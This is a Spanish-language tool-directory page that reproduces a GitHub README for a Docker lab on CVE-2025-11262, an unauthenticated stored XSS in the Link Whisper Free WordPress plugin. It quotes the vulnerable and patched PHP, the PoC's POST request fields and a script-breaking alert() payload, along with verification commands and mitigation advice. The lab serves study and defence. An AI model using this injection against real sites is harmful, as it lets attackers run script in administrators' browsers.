Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-11262-Lab — Laboratorio Docker para reproducir CVE-2025-11262, un XSS ciego almacenado sin autenticación en el plugin Link Whisper Free de WordPress. Incluye objetivos vulnerables y parcheados, script PoC y análisis de causa raíz. | Kitploit
Herramientas/GitHubGitHub/rootdirective-sec/cve-2025-11262-lab
Análisis de VulnerabilidadesExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubrootdirective-sec/cve-2025-11262-lab

CVE-2025-11262-Lab

Laboratorio Docker para reproducir CVE-2025-11262, un XSS ciego almacenado sin autenticación en el plugin Link Whisper Free de WordPress. Incluye objetivos vulnerables y parcheados, script PoC y análisis de causa raíz.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
hace 2 mesesAún no revisado

CVE-2025-11262 - XSS Ciega Almacenada No Autenticada en Link Whisper Free

Resumen Ejecutivo

Este repositorio contiene un laboratorio Docker local para reproducir CVE-2025-11262, una vulnerabilidad de cross-site scripting almacenada no autenticada que afecta al plugin de WordPress Link Whisper Free.

El laboratorio compara dos versiones del plugin:

ServicioVersión del pluginPropósitoURL
vuln0.9.0Objetivo vulnerablehttp://127.0.0.1:8081
patched0.9.1Objetivo parcheado de comparaciónhttp://127.0.0.1:8082

La cadena de vulnerabilidad demostrada es:

root@kitploit:~
Petición REST no autenticada
→ se persiste un user_id controlado por el atacante
→ un usuario privilegiado de WordPress abre la página de Suscripción AI de Link Whisper
→ el valor almacenado se renderiza en un contexto JavaScript de administración
→ alert("CVE-2025-11262-LAB") se ejecuta en la versión vulnerable

El atacante no necesita estar autenticado para plantar el payload almacenado. El JavaScript se ejecuta posteriormente cuando un usuario privilegiado de WordPress abre la página de administración afectada.

Este laboratorio está diseñado únicamente para investigación local controlada, comprensión a nivel de código fuente y demostración en portafolio.

Datos Verificados

Esta es la sección Resumen de la Causa Raíz para reemplazar directamente en el README, es segura para el público, no menciona archivos internos como vuln_detail.txt y se basa en el laboratorio/fuente que estás utilizando ahora.

Resumen de la Causa Raíz

CVE-2025-11262 es causado por una cadena de inyección de JavaScript almacenada en Link Whisper Free 0.9.0.

El problema no es una única llamada de escape faltante. Es una cadena de múltiples comportamientos inseguros:

root@kitploit:~
Endpoint REST no autenticado
→ validación insuficiente de user_id
→ almacenamiento persistente en wpil_ai_access_user_id
→ renderizado inseguro en un contexto JavaScript de administración
→ XSS almacenado cuando un usuario privilegiado abre la página de Suscripción AI

Endpoint REST no autenticado

Link Whisper Free registra un endpoint REST de autenticación AI bajo el espacio de nombres REST del plugin:

root@kitploit:~
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';

El endpoint se registra como una ruta POST:

root@kitploit:~
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
    'methods'             => 'POST',
    'callback'            => [
        $this,
        'ai_auth_handler'
    ],
    'permission_callback' => "__return_true",
    'show_in_index'       => false
]);

Debido a que el callback de permiso es __return_true, el endpoint es accesible sin autenticación.

En el laboratorio, el endpoint efectivo es:

root@kitploit:~
/wp-json/link-whisper/ai-auth

Esto significa que un atacante no autenticado puede enviar una solicitud al endpoint sin sesión de WordPress, nonce ni cuenta de administrador.

Manejo de entrada vulnerable en 0.9.0

En Link Whisper Free 0.9.0, el manejador lee parámetros controlados por el atacante desde la solicitud REST:

root@kitploit:~
public function ai_auth_handler( WP_REST_Request $request )
{
    if(!empty($request->get_param('access_token'))){
        $token = $request->get_param('access_token');
        $user_id = $request->get_param('user_id');
        $uid = (int)$request->get_param('uid');
        $uemail = $request->get_param('uemail');

        if(!empty($token) && false !== strpos($token, 'ai-')){
            update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
            update_option('wpil_ai_access_user_id', $user_id);
            update_option('wpil_ai_access_user_email', $uemail);
            update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
            update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
            update_option('wpil_ai_access_authorized', true);
        }

        return 'ok';
    }

    return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}

El comportamiento vulnerable es la condición de validación débil:

root@kitploit:~
if(!empty($token) && false !== strpos($token, 'ai-')){

Esto solo verifica si el token de acceso suministrado contiene la cadena ai-.

No hay una validación estricta de user_id antes de almacenarlo:

root@kitploit:~
update_option('wpil_ai_access_user_id', $user_id);

Como resultado, un JavaScript controlado por el atacante puede persistirse en la tabla de opciones de WordPress.

Almacenamiento persistente

El valor user_id controlado por el atacante se almacena en la opción de WordPress:

root@kitploit:~
wpil_ai_access_user_id

En este laboratorio, el PoC envía el siguiente payload local:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

En el servicio vulnerable, el payload se almacena como el valor de wpil_ai_access_user_id.

El atacante no necesita estar autenticado para plantar el payload. El payload se planta a través del endpoint REST no autenticado.

Sumidero JavaScript de administración

El valor almacenado se recupera posteriormente a través de la lógica de configuración del plugin:

root@kitploit:~
public static function get_linkwhisper_ai_user_id(){
    return get_option('wpil_ai_access_user_id', '');
}

El valor se asigna a $ai_id y se renderiza en la página de administración de Suscripción AI.

En Link Whisper Free 0.9.0, el valor se inserta directamente en una cadena JavaScript:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo $ai_id;?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})

Debido a que $ai_id no se escapa antes de insertarse en el contexto JavaScript, un payload almacenado puede salir de la cadena prevista y ejecutar JavaScript cuando se abre la página de administración.

Con el payload del laboratorio, la salida renderizada vulnerable se vuelve equivalente a:

root@kitploit:~
body: JSON.stringify({
    ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
    subscription_id: ""
})

En un navegador, la etiqueta </script> de cierre inyectada termina el bloque de script original, y el bloque <script> inyectado se ejecuta.

Condición de activación

El payload es plantado por un atacante no autenticado, pero la ejecución requiere que un usuario privilegiado de WordPress abra la página de administración afectada:

root@kitploit:~
/wp-admin/admin.php?page=link_whisper_ai_subscription

En este laboratorio, la página afectada se abre como administrador de WordPress para activar el diálogo de alerta.

Esto hace que el problema sea un XSS almacenado no autenticado dirigido a administradores de WordPress autenticados o usuarios privilegiados que puedan acceder a la página de administración de Suscripción AI de Link Whisper.

Comportamiento del parche en 0.9.1

Link Whisper Free 0.9.1 agrega una validación más estricta antes de almacenar los valores de autenticación AI.

El manejador parcheado requiere que el token y el ID de usuario coincidan con formatos estrictos:

root@kitploit:~
if(
    !empty($token) &&
    false !== strpos($token, 'ai-') &&
    (bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
    (bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
    update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
    update_option('wpil_ai_access_user_id', $user_id);
    update_option('wpil_ai_access_user_email', sanitize_email($uemail));
    update_option('wpil_ai_access_authorized', true);
}

La validación importante agregada para user_id es:

root@kitploit:~
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)

Esto evita que se almacene JavaScript arbitrario como ID de usuario de AI.

La versión 0.9.1 también escapa el valor antes de renderizarlo en el contexto JavaScript:

root@kitploit:~
body: JSON.stringify({
    ai_id: "<?php echo esc_attr($ai_id);?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})

Por lo tanto, el parche mitiga el problema en dos puntos:

root@kitploit:~
Validación de entrada antes de la persistencia
Escapado de salida antes del renderizado JavaScript

Comportamiento confirmado en el laboratorio

El laboratorio confirma la diferencia entre 0.9.0 y 0.9.1.

En Link Whisper Free 0.9.0:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ devuelve "ok"
→ almacena el payload en wpil_ai_access_user_id
→ abrir la página de administración de Suscripción AI activa alert("CVE-2025-11262-LAB")

En Link Whisper Free 0.9.1:

root@kitploit:~
POST /wp-json/link-whisper/ai-auth
→ puede seguir devolviendo "ok"
→ no almacena el payload
→ abrir la página de administración de Suscripción AI no activa ninguna alerta

La respuesta HTTP por sí sola no es suficiente para determinar si el objetivo es vulnerable, porque ambas versiones pueden devolver "ok". La diferencia de comportamiento significativa es si el payload se persiste y luego se renderiza en el contexto JavaScript de administración.

Arquitectura del Laboratorio

El laboratorio ejecuta dos instancias aisladas de WordPress y dos bases de datos MySQL separadas mediante Docker Compose.

root@kitploit:~
.
├── docker/
│   └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
└── vuln/
    └── Dockerfile

El punto de entrada de Docker automáticamente:

  • espera a que WordPress y la base de datos estén listos,
  • instala WordPress si es necesario,
  • activa Link Whisper Free,
  • prepara la página de administración necesaria para la reproducción,
  • imprime los detalles de inicio de sesión del laboratorio.

Credenciales predeterminadas del administrador de WordPress para ambos servicios:

root@kitploit:~
admin / AdminPassw0rd!

Requisitos

  • Docker Desktop o Docker Engine
  • Docker Compose v2
  • Python 3
  • Acceso a Internet durante la construcción de la imagen, porque los Dockerfiles descargan paquetes de plugins desde WordPress.org

Inicio Rápido

Construya e inicie el laboratorio:

root@kitploit:~
docker compose down -v
docker compose build --no-cache
docker compose up -d

Verifique los contenedores:

root@kitploit:~
docker compose ps

Servicios expuestos esperados:

root@kitploit:~
Objetivo vulnerable: http://127.0.0.1:8081
Objetivo parcheado:  http://127.0.0.1:8082

También puede observar los registros de configuración:

root@kitploit:~
docker compose logs vuln patched

Una configuración exitosa debería mostrar Link Whisper activo en cada instancia de WordPress.

Uso del PoC

Ejecute el PoC contra el servicio vulnerable:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

El PoC envía este payload local a través del endpoint REST no autenticado:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

Después de que se ejecute el script, abra la URL de administración impresa en un navegador e inicie sesión con:

root@kitploit:~
admin / AdminPassw0rd!

En el servicio vulnerable, el navegador debería mostrar una alerta que contenga:

root@kitploit:~
CVE-2025-11262-LAB

Para comparar, ejecute el mismo PoC contra el servicio parcheado:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8082

Luego abra la URL de administración impresa para el servicio parcheado. No debería activarse ninguna alerta.

Salida Esperada

Objetivo vulnerable:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

[next step]
Open this URL in a browser and login as the lab administrator:

http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

Objetivo parcheado:

root@kitploit:~
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

La respuesta HTTP por sí sola no es suficiente para determinar si el objetivo es vulnerable. La diferencia importante es el comportamiento del navegador después de que el usuario privilegiado abre la página de administración afectada.

Evidencia en Captura de Pantalla

Captura de alerta vulnerable CVE-2025-11262

Objetivo de captura sugerido:

root@kitploit:~
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

La captura debe mostrar la alerta del navegador con:

root@kitploit:~
CVE-2025-11262-LAB

Cómo Funciona el PoC

El PoC es intencionalmente pequeño y solo requiere una URL de destino:

root@kitploit:~
python3 poc/poc.py --url http://127.0.0.1:8081

Envía una solicitud POST a:

root@kitploit:~
/wp-json/link-whisper/ai-auth

con los siguientes campos de formulario:

root@kitploit:~
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id      = </script><script>alert("CVE-2025-11262-LAB")</script>
uid          = 1
uemail       = [email protected]

En el servicio vulnerable, el valor almacenado se renderiza posteriormente en la página de Suscripción AI. Cuando un administrador abre esa página, se ejecuta el JavaScript.

En el servicio parcheado, el mismo payload no debería resultar en una alerta.

Comandos Útiles de Verificación

Verifique las versiones de los plugins:

root@kitploit:~
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper

Verifique si el servicio vulnerable almacenó el payload:

root@kitploit:~
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root

Valor vulnerable esperado:

root@kitploit:~
</script><script>alert("CVE-2025-11262-LAB")</script>

Verifique el servicio parcheado:

root@kitploit:~
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root

Comportamiento esperado del parche:

root@kitploit:~
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?

Verifique los registros de acceso al endpoint REST:

root@kitploit:~
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'

Mitigación y Notas del Parche

Actualice Link Whisper Free a 0.9.1 o posterior.

El parche evita que este payload del laboratorio se persista y renderice agregando validación más estricta y un manejo de salida más seguro alrededor del flujo de autenticación AI afectado.

Para entornos de producción, considere también:

  • mantener los plugins de WordPress actualizados,
  • limitar el acceso de administración,
  • monitorear solicitudes inesperadas a los endpoints REST de los plugins,
  • revisar valores sospechosos similares a scripts en las opciones de WordPress,
  • aplicar filtrado de defensa en profundidad cuando corresponda.

Limpieza

Detenga y elimine contenedores, redes y volúmenes:

root@kitploit:~
docker compose down -v

Elimine las imágenes construidas localmente si lo desea:

root@kitploit:~
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true

Límites de Seguridad

Este laboratorio es únicamente para investigación de seguridad local y demostración controlada.

No ejecute el PoC contra sistemas que no posea o para los que no tenga permiso de prueba.

No use credenciales reales, secretos de producción ni callbacks externos en este laboratorio.

El PoC utiliza intencionalmente un marcador alert() visible para evidencia en capturas de pantalla. No incluye payloads para robo de credenciales, robo de sesiones, persistencia más allá del laboratorio ni acciones automatizadas de administrador.

Referencias

  • Base de datos de avisos de GitHub: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
    https://github.com/advisories/GHSA-7h4c-hr9j-8q85

  • Wordfence Intelligence: entrada de la base de datos de vulnerabilidades de Link Whisper Free
    https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper

  • Directorio de plugins de WordPress.org: Link Whisper Free
    https://wordpress.org/plugins/link-whisper/

  • Paquete del plugin de WordPress.org utilizado por el laboratorio vulnerable
    https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip

  • Paquete del plugin de WordPress.org utilizado por el laboratorio parcheado
    https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip

  • Navegador de código fuente de plugins de WordPress: Link Whisper 0.9.0 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php

  • Navegador de código fuente de plugins de WordPress: Link Whisper 0.9.1 Rest.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php

  • Navegador de código fuente de plugins de WordPress: Link Whisper 0.9.0 Settings.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php

Descargar herramienta
AfirmaciónEvidenciaCómo verificar en este laboratorio
Link Whisper Free 0.9.0 es vulnerable.Los avisos públicos identifican las versiones de Link Whisper Free hasta 0.9.0 inclusive como afectadas.Ejecute el PoC contra http://127.0.0.1:8081 y abra la URL de administración impresa.
Link Whisper Free 0.9.1 contiene la corrección.Los avisos públicos y los datos del registro de cambios identifican 0.9.1 como la versión parcheada.Ejecute el mismo PoC contra http://127.0.0.1:8082; no debería aparecer ninguna alerta.
La plantación del payload no requiere autenticación.El PoC envía una solicitud POST sin cookies de WordPress, inicio de sesión ni nonce.Inspeccione poc/poc.py; solo requiere --url.
El impacto visible se desencadena en el área de administración de WordPress.El valor almacenado se renderiza cuando un usuario privilegiado abre la página de Suscripción AI de Link Whisper.Después de ejecutar el PoC, inicie sesión como administrador y abra la URL de administración impresa.
El objetivo parcheado puede seguir devolviendo "ok" en la capa HTTP.Las pruebas locales mostraron que ambos objetivos pueden devolver "ok"; la diferencia significativa es si el payload se persiste y ejecuta.Compare el comportamiento del navegador en 8081 y 8082.
  • Navegador de código fuente de plugins de WordPress: Link Whisper 0.9.1 Settings.php
    https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Settings.php